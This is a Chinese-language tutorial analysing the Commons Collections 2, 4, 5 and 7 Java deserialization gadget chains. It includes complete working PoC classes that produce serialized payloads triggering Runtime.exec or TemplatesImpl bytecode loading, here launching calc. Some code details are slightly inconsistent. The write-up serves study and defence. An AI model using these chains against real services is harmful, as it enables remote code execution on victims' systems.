Java反序列化-Commons Collections2、4、5、7利用链分析 Commons Collections2、4、5、7用的都是commons.collections4版本的链
前置知识 PriorityQueue优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出”优先级“,取出数据的时候会按照优先级来取。
默认优先级队列会根据自然顺序来对元素排序。
而想要放入PriorityQueue的元素,就必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。
如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序
构造方法
PriorityQueue () 使用默认的初始容量(11 )创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。PriorityQueue (int initialCapacity) 使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
常用方法:
add (E e) 将指定的元素插入此优先级队列clear () 从此优先级队列中移除所有元素。comparator () 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 nullcontains (Object o) 如果此队列包含指定的元素,则返回 true。iterator () 返回在此队列中的元素上进行迭代的迭代器。offer (E e) 将指定的元素插入此优先级队列peek () 获取但不移除此队列的头;如果此队列为空,则返回 null。poll () 获取并移除此队列的头,如果此队列为空,则返回 null。remove (Object o) 从此队列中移除指定元素的单个实例(如果存在)。size () 返回此 collection 中的元素数。toArray () 返回一个包含此队列所有元素的数组。
案例:
public static void main (String[] args) throws NotFoundException { PriorityQueue priorityQueue=new PriorityQueue(2 ); priorityQueue.add(4 ); priorityQueue.add(3 ); priorityQueue.add(2 ); priorityQueue.add(1 ); System.out.println(priorityQueue); System.out.println(priorityQueue.poll()); }
Commons Collections4 Gadget chain getTransletInstancePriorityQueue.readObject PriorityQueue . heapify PriorityQueue . siftDown PriorityQueue . siftDownUsingComparator TransformingComparator . compare ChainedTransformer . transform TrAXFilter TemplatesImpl . newTransformer TemplatesImpl . getTransletInstance TemplatesImpl . defineTransletClasses cc4.new Instance() Runtime . exec()
利用链分析 我们看下这个链与前面几条链相比只是transform方法找的不一样,其他前面是一样的
最后我们找到了这个,transformer可控并且可以序列化
我们可以看看谁调用了compare
可以看到这里这里调用compare
我们查下谁调用了siftDownUsingComparator
我们继续往下走,看看谁调用siftDown
最后找到了readObject方法调用
链这样我们就找完了
我们首先看下这个compare方法需要传哪些值,这里的this.transformer需要传InvokerTransformer
通过构造方法进行传入
PriorityQueue需要传入TransformingComparator对象
我们先调试看看,还需要哪些参数
这里的queue属性是无法被序列化的,但是如果是拆开单个存储的话,是可以被序列化的
进入heapify,可以看到我们这边就直接跳出去了,size=0,右移三位,size右移1位则是1,所以说size=2才能进入这个方法
所以这里我们要传入queue,这就要用到add方法,所以我们看下这个方法
add调用了offer方法,最终调用siftUp方法
最终还是会调用到这里
最终还是会调用到compare的方法,这样就会造成本地执行
所以老样子,我们要将在add前面的时候先不触发执行,等执行完add方法后,再将填入参数修改回来
POC 最终POC
package ysoserial.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class Test4 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://tmp/calc.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1 )); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1 ); priorityQueue.add(2 ); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,chainedTransformer); serialize(priorityQueue); unserialize(); } public static void serialize (Object o) throws IOException { ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin" ))); oo.writeObject(o); } public static Object unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream( new File("ser.bin" ))); Object object = (Object) ois.readObject(); System.out.println("反序列化成功!" ); return object; } }
Commons Collections2 Gadget chain PriorityQueue . readObject() PriorityQueue . heapify() PriorityQueue . siftDown() PriorityQueue . siftDownUsingConparator() TransformingComparator . compare() InvokerTransformer . transform() TemplatesImpl .new Tranformer() Method . invoke() Runtime . exec()
与Commons Collections4链不同的是,不走TrAXFilter实例化,想到其他地方调用到TemplatesImpl.newTranformer()
利用链分析 整条链是这样的
传入queue,这个是我们可控的
调用了siftDown函数,传入x是我们可控的
comparator.compare传入的x
通过构造方法,第一个参数是此优先级队列的初始容量,我们传入2,因为我们就传2个,第二个参数是传入我们的TransformingComparator,这样才能调用到TransformingComparator.compare
接着下一步就调用到transformer.transform,这里的transformer我需要传InvokerTransformer
InvokerTransformer我们要调用到newTransformer,所以我们这样写
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTranformer" , new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer); PriorityQueue priorityQueue = new PriorityQueue<>(2 ,transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates);
构造完后,就传入transformer(templates)
最后触发到getTransletInstance
最终执行到我们传入的_class
由于add方法会在本地直接执行
POC 最终POC
package ysoserial.test;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class Test2 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaaa" ); Field bytecodesField = tc.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E://tmp/calc.class" )); byte [][] codes = {code}; bytecodesField.set(templates,codes); InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer" , new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1 )); PriorityQueue priorityQueue = new PriorityQueue<>(2 ,transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformer = c.getDeclaredField("transformer" ); transformer.setAccessible(true ); transformer.set(transformingComparator,invokerTransformer); unserialize(); } public static void serialize (Object o) throws IOException { ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin" ))); oo.writeObject(o); } public static Object unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream( new File("ser.bin" ))); Object object = (Object) ois.readObject(); System.out.println("反序列化成功!" ); return object; } }
Commons Collections5 Gadget chain ObjectInputStream . readObject() BadAttributeValueExpException . readObject() TiedMapEntry .to String() LazyMap . get() ChainedTransformer . transform() ConstantTransformer . transform() InvokerTransformer . transform() Method . invoke() Class . getMethod() InvokerTransformer . transform() Method . invoke() Runtime . getRuntime() InvokerTransformer . transform() Method . invoke() Runtime . exec()
我们可以看到这里与CC1链区别就是在前面的readObject,最后是通过LazyMap调用触发的transform
利用链分析 可以看到后半段的写法是一样的
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" ,null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap(); map.put("value" ,"bbb" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map,null ,chainedTransformer);
首先是BadAttributeValueExpException类,由于没有继承Serializable
可以看到是通过vaobj.toString(),所以我们要对val进行反射传值
首先我们要传val进去使他进到TiedMapEntry.toString(),我们先随便new一个TiedMapEntry,先随便传一些参数进来,我们后面看看需要怎么才能满足后面
进入getValue方法
map传入LazyMap的get方法,key的话我们可以随便传,因为到后面的transform,会将字符串进行覆盖为Runtime.class
首先是factory,这个是我们需要执行哪个的transform方法
所以key传入的object也就是我们的ChainedTransformer
Map decorate = LazyMap . decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate ,"123" ) ;
最终走到这里
POC 最终POC
package ysoserial.test;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class Test5 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" ,null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap(); Map decorate = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1 ); Class<?> c = Class.forName("javax.management.BadAttributeValueExpException" ); Field val = c.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); unserialize(); } public static void serialize (Object o) throws IOException { ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("ser.bin" ))); oo.writeObject(o); } public static Object unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream( new File("ser.bin" ))); Object object = (Object) ois.readObject(); System.out.println("反序列化成功!" ); return object; } }
Commons Collections7 Gadget chain java.util .Hashtable .readObject java.util .Hashtable .reconstitutionPut org.apache .commons .collections .map .AbstractMapDecorator .equals java.util .AbstractMap .equals org.apache .commons .collections .map .LazyMap .get org.apache .commons .collections .functors .ChainedTransformer .transform org.apache .commons .collections .functors .InvokerTransformer .transform java.lang .reflect .Method .invoke sun.reflect .DelegatingMethodAccessorImpl .invoke sun.reflect .NativeMethodAccessorImpl .invoke sun.reflect .NativeMethodAccessorImpl .invoke0 java.lang .Runtime .exec
CC7仍是使用LazyMap来构造利用链,不同的是CC7使用了新的链Hashtable来触发LazyMap利用链,最终导致利用代码
前置知识 序列化过程
private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
Hashtable有一个Entry []类型的table属性,并且还是一个数组,用于存放元素(键值对)。Hashtable在序列化时会先把table数组的容量写入到序列化流中,再写入table数组中的元素个数,然后将table数组中的元素取出写入到序列化流中。
反序列化过程
private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
Hashtable会先从反序列化流中读取table数组的容量和元素个数,并根据origlength 和elements 计算出table数组的length,再根据计算得到的length来创建table数组(origlength 和elements可以决定table数组的大小),然后从反序列化流中依次读取每个元素,然后调用reconstitutionPut方法将元素重新放入table数组(Hashtable的table属性),最终完成反序列化。
reconstitutionPut方法是一个很重要的方法,我们进一步分析一下这个方法
reconstitutionPut方法首先对value进行不为null的校验,否则抛出反序列化异常,然后根据key计算出元素在table数组中的存储索引,判断元素在table数组中是否重复,如果重复则抛出异常,如果不重复则将元素转换成Entry并添加到tabl数组中。
private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
CC7利用链的漏洞触发的关键就在reconstitutionPut方法中,该方法在判断重复元素的时候校验了两个元素的hash值是否一样,然后接着key会调用equals方法判断key是否重复时就会触发漏洞
利用链分析 前部分的poc都是一样的
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class ), new InvokerTransformer("getMethod", new Class []{String.class , Class [].class }, new Object []{"getRuntime",null }), new InvokerTransformer("invoke", new Class []{Object .class , Object [].class }, new Object []{null ,null }), new InvokerTransformer("exec",new Class []{String.class },new Object []{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
首先是Hashtable的readObject方法,要想走到下面for循环,我们需要给put元素
public static void main (String [] args) throws Exception { Hashtable hashtable = new Hashtable (); hashtable.put ("yy" ,1 ); hashtable.put ("zZ" ,1 ); serialize (hashtable); unserialize (); }
第一次调用reconstitutionPut时,会把key和value注册进table中,由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因
在后面给tab进行赋值
首先是要满足e.hash == hash才能走到判断e.key.equals(key),这里的e就是我们的传入键的值,该方法在判断重复元素的时候校验了两个元素的hash值是否一样
这里的yy和zZ的hash是一样的,所以传入yy和zZ
之后我们看下key要如何可控,将第二次传入put的时候,走到LazyMap#equals方法,LazyMap并没有equals方法,LazyMap没有equals方法,那么调用的就是其父类的equals方法
因此最终调用HashMap继承的抽象类AbstractMap中的equals方法,我们接下来要走到get方法,想办法调用LazyMap.get上,可以看到AbstractMap#equals(Object o)传入参数o是取决于reconstitutionPut方法中调用e.key.equals(key)方法中传入的key值
这里的key值是yy,但是不妨我们调用transform,但是这里是需要给factory传值,这也是为什么前面有decorate对map和factory进行传值
这里我们传入的是chainedTransformer,最终走完链
为什么最后要remove(“yy”)?
为什么要先指定一个fakeTransformers?
因为在序列化的时候会将在第二次put的时候,调用到m.get造成触发
POC package ysoserial.test;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class Test7 { public static void main (String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException { Transformer[] fakeTransformers = new Transformer[] {}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] {String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] {Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class}, new String[] {"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain, transformers); lazyMap2.remove("yy" ); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin" )); outputStream.writeObject(hashtable); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }